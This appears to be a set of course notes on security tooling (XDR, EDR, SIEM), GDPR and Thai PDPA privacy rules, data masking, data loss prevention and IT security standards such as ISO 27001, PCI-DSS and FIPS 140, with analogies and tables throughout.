| Holistic and Narrative-based Analytics | XDR does more than collect data like a SIEM does — it provides correlated, normalized information based on massive amounts of data |
| Integration | Works with various tools, including SIEM, IDS (e.g., Snort, Zeek/Bro), data analytics, and EDR tools |
| Consolidation and Correlation | Coordinates SIEM, IDS, and endpoint protection; coordinates EDR tools and SIEM apps to create a go-to-first incident response capability |
| Automated Response | XDR services are poised to make automated changes |
How Does XDR Work?
- XDR collects and correlates data across:
- Email, endpoints, servers, cloud workloads, and networks
- → enabling visibility and context into advanced threats
- Threats can then be analyzed, prioritized, hunted, and remediated to prevent data loss and security breaches
SIEM vs. XDR
| SIEM | XDR |
|---|---|
| Detection on the convergence of log sources + alerts | Detection on endpoints, cloud, high-efficacy telemetry sources |
| Investigation via querying and correlating alerts | Investigation via automated root cause analysis and querying |
| Response via SOAR and playbooks | Native response capabilities and automated recommendations |
| Threat hunting via querying | Threat hunting via querying |
| GRC use cases | — |
| Dashboards and reporting | — |
- GRC = Governance, Risk Management, and Compliance
Antivirus vs. EDR vs. XDR
- ✅ = Standard feature, ⚪ = Availability depends on solution, — = Not provided
| Feature | Antivirus | EDR | XDR |
|---|---|---|---|
| Signature-Based Detection | ✅ | ✅ | ✅ |
| Behavior-Based Protection | ⚪ | ✅ | ✅ |
| Centralized Management | ⚪ | ✅ | ✅ |
| Automated Response | ⚪ | ✅ | ✅ |
| Protects Endpoints | ✅ | ✅ | ✅ |
| Protects Cloud Environments | — | — | ✅ |
| Protects Networks | — | — | ✅ |
EDR vs. XDR — Key Differences
| Question | EDR | XDR |
|---|---|---|
| What it does? | Monitors individual endpoints for cyber threats | Monitors endpoints, servers, cloud environments, and network devices |
| How it collects data? | Uses a single agent on each endpoint | Collects data from multiple security products and technologies |
| How it detects threats? | Uses traditional methods | Uses advanced methods such as ML and AI |
| Complexity | Easy to set up and manage | More complex to set up and manage |
| Cost | Less expensive than XDR | More expensive than EDR |
| How quickly it responds? | May take time to investigate and respond | Aims to respond more quickly due to collecting & analyzing data from multiple sources |
Privacy Regulations: GDPR and PDPA
GDPR
- The General Data Protection Regulation (EU) 2016/679 (GDPR) is a regulation in EU law on data protection and privacy in the European Union (EU) and the European Economic Area (EEA)
- Also addresses the transfer of personal data outside the EU and EEA
- Primary aim:
- Enhance individuals' control and rights over their personal data
- Simplify the regulatory environment for international business
- Contains provisions related to processing personal data of individuals (formally "data subjects") located in the EEA
- Applies to any enterprise — regardless of its location and the data subjects' citizenship or residence — that processes personal information of individuals inside the EEA
- The EEA links the EU member states and three EFTA states (Iceland, Liechtenstein, Norway)
Analogy: GDPR is like the house rules of the EU — if you want to "visit" (handle data of people inside the EU), you must follow them, no matter where you come from.
PDPA
- PDPA is derived from GDPR (PDPA ← GDPR)
Definition
- What?
- Unified rules for all organisations
- PDPA vs. GDPR:
- GDPR = General Data Protection Regulation
- PDPA = Personal Data Protection Act
- When?
- GDPR: April 2016
- PDPA: June 2022
Goals of PDPA
- Protection — protect personal data & strengthen privacy rights of individuals
- Control — give users control over their data
Types of Personal & Private Data
- Personal Data
- Name
- Address
- Phone
- Credit cards
- Email address
- IP address
- Cookies
- Online identifiers
- Sensitive Data
- Biometric data
- Genetic data
- Health data
Analogy: Personal data = things on your ID card or contact list. Sensitive data = things in your medical file or DNA test — much more dangerous if leaked.
Entity Role in Data Protection Concept
- Data Subject — an identified or identifiable natural person
- Data Controller — those that determine the purpose of personal data processing
- Data Processor — those to whom controllers have outsourced processing activities
Roles
- Data Subject (Individuals) → Personal Data, legal basis for processing → Data Controller (Your Company) → Data Processing, contract to process under instruction → Data Processor (Service provider / Partner)
- "Data Subject" refers to any individual who possesses the personal identities
- Personal data / Personally Identifiable Information (PII) refers to any data that can be used to identify the individual directly and indirectly
- Data Controller refers to an individual or authorized party that is able to collect, use and/or disclose personal data
- Data Processor refers to an individual or authorized party that is able to collect, use and/or disclose personal data under the delegation of the Data Controller
Analogy (Restaurant): You (customer) = Data Subject giving your order; the restaurant = Data Controller deciding what to do with the order; the delivery company (Grab/LINE MAN) = Data Processor handling it only as the restaurant instructs.
Scope and Enforcement (Thai PDPA)
[Image]
- Source: กระทรวง DE (Ministry of Digital Economy and Society)
- ขอบเขตการบังคับใช้ (Scope)
- Applies to the collection, use, or disclosure of personal data in Thailand
- Also covers controllers/processors outside Thailand if they:
- Offer goods or services to data subjects in Thailand (whether paid or not)
- Monitor the behavior of data subjects that takes place in Thailand
- (Similar to GDPR Article 3 — Territorial scope)
- ระยะเวลาบังคับใช้ (Enforcement timing) — fully in force 1 year after publication in the Royal Gazette (with exceptions for some sections)
- บทเฉพาะกาล (Transitional) — data collected before the law can still be used for the original purpose, but the controller must provide an easy way for the owner to withdraw consent / opt out
- คำนิยาม (Definitions)
- ข้อมูลส่วนบุคคล (Personal data) — info about a person that can identify them directly or indirectly(excluding data of deceased persons)
- ผู้ควบคุมข้อมูลส่วนบุคคล (Data Controller) — person/juristic person with authority to decide on collection, use, or disclosure
- ผู้ประมวลผลข้อมูลส่วนบุคคล (Data Processor) — person/juristic person who processes data on behalf of / under the instruction of the controller
- แจ้งให้ทราบ (Notification) — must inform the data owner of the purpose of collection, use, or disclosure
- ความยินยอม (Consent) — must be explicit, in writing or electronically; withdrawal of consent must be as easy as giving it
- การเก็บข้อมูล ม.22–23 (Collection, Sections 22–23) — collect only as necessary for the lawful purpose of the controller
Penalties
- Violation Type
- แพ่ง (Civil)
- อาญา (Criminal)
- โทษทางปกครอง (Administrative Penalty)
- Limited Period (statute of limitations)
- 3 years for data leakage
- 10 years for data breach
- Criminal Penalty
- Anyone — Imprison 6 months / 500,000 baht
- Controller — Imprison 1 year / 1,000,000 baht
- Administrative Penalty
- Controller — 1–5M baht
- Processor — 1–5M baht
[Image]
- Thai tables of administrative fines per violation (fines of 1,000,000 / 3,000,000 / 5,000,000 baht depending on the section violated)
PDPA — Individual's Rights
- Right to Access
- Information on if personal data are processed, the purpose, what data types, and the period of storage
- Right to Rectification
- Correction of inaccurate personal data concerning him, without any delay
- Right to Erasure
- Right to be forgotten — erase all personal data if no longer necessary or if the user withdraws consent
- Right to Restriction of Processing
- If the data accuracy is contested, processing is unlawful, or data is not needed anymore
- Right to Data Portability
- To receive the user's personal data in a structured format
- Right to Object
- Stop processing personal data on request, unless the controller demonstrates compelling reasons overriding the individual's interests and rights
Analogy: Your data is like your belongings stored in someone else's locker. You have the right to look(access), fix the label (rectification), throw it away (erasure), freeze it (restriction), take it to another locker (portability), and say "stop using it" (object).
Informing and Consent — What Do You Need to Do?
- Organisations must obtain the individual's consent to store and use their data, and explain how it will be used
- This is not new, but consent must be a positive indication — i.e., no pre-ticked boxes
- Consent must be unambiguous
- Consent must be separate from other written agreements
- Consent must be easily revoked
- Consent for children under 16 must be obtained from a responsible person
- Public bodies may be able to base their processing on other legal grounds
Controller's Obligations
- Securely use, store, and transfer PII
- PII = Personally Identifiable Information
- Fully engaged in their responsibility if the data is transferred to other parties
- Provide a channel for getting requests to support data subject's rights
- Erase PII when it is expired or requested by the data subject
- Notify the data subject if a data breach occurs
- → Data Loss/Leakage Prevention (DLP) System
Privacy Notices under GDPR / PDPA
- Presented to the data subject whenever new processing is undertaken
- Consider a layered approach to notification
- Must explain:
- Personal data being processed
- Purpose of processing
- Intended retention
- Subject rights
- Source of data
- Conditions of processing
- Intended sharing or international transfer
- Existence of automated decision making, including profiling
Consent Implementation
| Issues to be Included | Details |
|---|---|
| Who? | Detail of data controller (Name, address, DPO) |
| What? | Objective of data processing and usage; what kind of PII to be collected and used |
| How? | The way of data processing; any data transfer required; data disclosure |
| When? | Period of data retention |
| Any problem? | Method for revoking consent; data subject's rights |
Example of Cookie Consent
[Image]
- Flow: Visitor arrives on Home Page →
- Visitor refuses cookies → cookie is not deposited; only targeting criteria without cookies are functional
- Visitor accepts cookies → cookie is deposited as soon as visitor arrives; all targeting criteria are functional
- Visitor agrees GDPR consent → cookie is deposited after the visitor has accepted the GDPR consent and explicitly expressed his will to start the conversation
Related Documents
- Personal Data Protection Policy / Privacy Notice — นโยบายความเป็นส่วนตัว
- Consent Form — แบบความยินยอมในการเก็บรวบรวม ใช้ และเปิดเผยข้อมูลส่วนบุคคล
- Data Subject Request Form — แบบการใช้สิทธิของเจ้าของข้อมูล (Owner)
- Data Breach Notification Form — แบบการแจ้งเตือนเมื่อเกิดการละเมิดข้อมูลส่วนบุคคล
- Relevant Agreements / documents — สัญญาหรือเอกสารทางกฎหมายที่เกี่ยวข้อง
- Data Processing Agreement — สัญญาประมวลผลข้อมูลส่วนบุคคล
- Appointment of Data Protection Officer Letter — หนังสือแต่งตั้งเจ้าหน้าที่คุ้มครองข้อมูลส่วนบุคคล
Consent Form (Ways to Collect Consent)
- Paper form
- Website banner and click
- Checkbox during the main action (e.g., sign-up, update info/preference)
- "Unsubscribe" link in email
Data Controller's Responsibilities: Data Security
- Appropriate and secure storage for paper and electronic records
- Encrypt data on laptops, tablets, memory sticks, etc.
- Authorised access only — no password sharing
- Double-check correspondence addresses and attachments
- Do not share information with 3rd parties without data sharing agreements
- Destroy records appropriately and securely
- Be aware of your cloud usage
Data Breach Response Flow
[Image]
- Data breach occurs →
- Immediately: Contain and mitigate breach
- Determine data involved in breach
- Identify individuals impacted
- → Liaise with DPO to include all incident info in initial report
- Notify Head of Service / School Admin (as appropriate)
- Immediately: Report incident to Data Protection Office
- → DPO investigates incident
- → Determine whether ICO must be notified*
- → Report findings and issue recommendations
- Immediately: Contain and mitigate breach
- *ICO = Information Commissioner's Office — https://ico.org.uk/for-organisations/guide-to-pecr/communications-networks-and-services/security-breaches/
Sample Key Relevant Parties
- Legal and Compliance
- Contract
- Policy
- IT
- Security measures
- Websites, applications
- Marketing / BA
- Consent, request channel
- Data management
- Behavior
- Sales
- Contacts
- Bill, invoice
- Operation
- Reception (e.g., phone record, logbook)
- Site security (e.g., badge, video, photo)
- HR
- Employees, candidates
- Hired / shifted temp / outsourcer
Steps for an Online Business for GDPR / PDPA Compliance
- Analyze what you collect & where data is stored
- (cookies, tracking pixels, emails, names, addresses…)
- Check if the time you store personal data is relevant
- If not, remove data
- Inform your clients how they can modify or delete their data
- (special mailing, Privacy Policy webpage)
- Monitor who has access to personal data
Think About It…
- How do you meet the requirements of these various responsibilities?
- Do you know all of the personal data that you process? Can you conduct an information audit within your work area or with your team?
- Are you embarking on any projects or purchasing products that may require a DPIA (Data Privacy Impact Assessment)?
- DPIA = calculate / assess the impact of PII when they are compromised
- Do you share data with third parties? If so, do you have appropriate agreements or contracts? How can you demonstrate and ensure appropriate data security?
Data Protection Services
- Data Privacy Protection Tool → PDPA Tool
- Consent Management
- Cookie consent
- Data Subject's Right Management
- Incident Management
- PII Discovery (PII Scanner)
- Scan PII from any data sources
- Data Masking
- Database Encryption
- Data Loss Prevention (DLP)
Data Masking
- Flow: Database (
08123456) ↔ Application ↔ Data Masking Tool → Masked Result (0812XXXX) → End User - Data masking is a way to create a fake, but realistic version of your organizational data
- Goal: protect sensitive data while providing a functional alternative when real data is not needed, e.g.:
- User training
- Sales demos
- Software testing
Analogy: Like using a mannequin instead of a real person to display clothes — it looks realistic and does the job, but there's no real person at risk.
Data Masking (Production → Test Database)
- Production Database
- Personal Information: Patient No.
112233, NamePeter Watson, Address32 Elm St, City/State/ZipSunnyvale, CA, 94089 - Other Info: Credit Card No.
4415 1230 0000 0062, SSN654 59 9876
- Personal Information: Patient No.
- Techniques applied:
- Personal info → Shuffling / Substitution / Custom Algorithm
- Other info → Masking / Encryption / Decryption
- Test Database
- Personal Information: Patient No.
010101, NameJohn Mayer, Address12 Murray St, City/State/ZipBoston, MA, 02115 - Other Info: Credit Card No.
XXXX XXXX XXXX 0062, SSN@^$%!##&#$
- Personal Information: Patient No.
MySQL Enterprise Masking
- Production Database → Dev / Test / Analytics Databases (masked view)
- Example — Employee Table → Masked View:
| ID | Last | First | SSN | → | ID (masked) | Last | First | SSN (masked) |
|---|---|---|---|---|---|---|---|---|
| 1111 | Smith | John | 555-12-5555 | → | 2874 | Smith | John | XXX-XX-5555 |
| 1112 | Templeton | Richard | 444-12-4444 | → | 3281 | Templeton | Richard | XXX-XX-4444 |
- MySQL Enterprise Masking and De-identification protects sensitive data from unauthorized users
MySQL Enterprise Masking (Techniques)
- Selective Masking — obscures a particular portion of numbers or strings (e.g., phone numbers, payment card numbers)
- Random Data Substitution — replace real values with random values while maintaining format consistency
- Blurring — add a random variance to existing values (e.g., randomized numeric ranges for salaries)
- Dictionary Substitution — randomly replace values from task-specific dictionaries
- Blocklisting and Substitution — replace specifically blocklisted data, but leave non-blocklisted data in place
Analogy:
- Selective = covering part of a credit card with your thumb (
XXXX-0062)- Random substitution = swapping in a fake phone number with the same format
- Blurring = saying salary is "about 30k ± a bit"
- Dictionary = picking a random name from a name list
- Blocklisting = blacking out only the forbidden words in a document
Data Loss Prevention (DLP)
- DLP is a system of integrated technologies that detect and prevent unauthorized use, transmission, and storage of confidential, protected, or sensitive data by:
- Applying a combination of contextual and content analysis methods
- Enforcing centrally managed data protection policies
Analogy: DLP is the security guard at the office exit who checks bags to make sure no one walks out with confidential documents.
Types of DLP
- All governed by a Central Policy, protecting Personal & Corporate Data:
- Data In Use DLP — protection against unauthorized use (e.g., USB, printer, copy, screenshot/camera)
- Data In Motion DLP — protection against unauthorized transmission, dissemination (e.g., sharing, Skype/chat, email, cloud upload, web)
- Data At Rest DLP — protection against unauthorized storage (e.g., file servers, databases, cloud storage)
Analogy: Data in use = a document on your desk; in motion = a document in the mail truck; at rest = a document in the filing cabinet. Each needs a different kind of protection.
IT Security Standard
- The ISO 27000 Series has 60 standards covering a broad spectrum of information security issues, e.g.:
- ISO 27001 = ISMS (Information Security Management System)
- ISO 27002 = Detailed recommendations for implementing specific controls
- ISO 27018 = addresses cloud computing
- ISO 27031 = guidance on IT disaster recovery programs and related activities
- ISO 27037 = collection and protection of digital evidence
- ISO 27040 = storage security
- ISO 27799 = information security in healthcare (useful for companies that require HIPAA compliance)
Analogy: ISO 27001 = "WHAT you must have" (the requirement checklist). ISO 27002 = "HOW to do it" (the detailed cookbook).
Examples (ISO 27001 vs. ISO 27002)
- Example: Access Control
- ISO 27001 — Annex A.9: Requires organizations to implement an access control policy to ensure only authorized users have access to information
- ISO 27002: Detailed guidance on implementing access control, such as:
- Using role-based access control (RBAC)
- Enforcing strong password policies (e.g., complexity, expiration)
- Defining and documenting user access rights
- Regularly reviewing and revoking access when necessary
- Example: Cryptography
- ISO 27001 — Annex A.10: Requires organizations to implement cryptographic controls to protect information
- ISO 27002: Specific recommendations on cryptographic practices, such as:
- Using AES-256 for encrypting sensitive data
- Implementing key management procedures
- Using digital signatures for data integrity and non-repudiation
IT Security Standard (2)
- PCI-DSS — Payment Card Industry Data Security Standard
- Developed by the cluster of card brands (American Express, Visa, MasterCard, JCB, Discover)
- HIPAA — Health Insurance Portability and Accountability Act
- FIPS 140 — Federal Information Processing Standards (FIPS) are U.S. government computer security standards that specify requirements for cryptography
- FIPS 140-2: Security Requirements for Cryptographic Modules
- EAL — Evaluation Assurance Level = a category ranking assigned to an IT product or system after a Common Criteria security evaluation
Analogy: PCI-DSS = rules for anyone touching credit cards; HIPAA = rules for anyone touching medical records; FIPS 140 = a quality stamp for crypto modules; EAL = a star rating for how thoroughly a product was security-tested.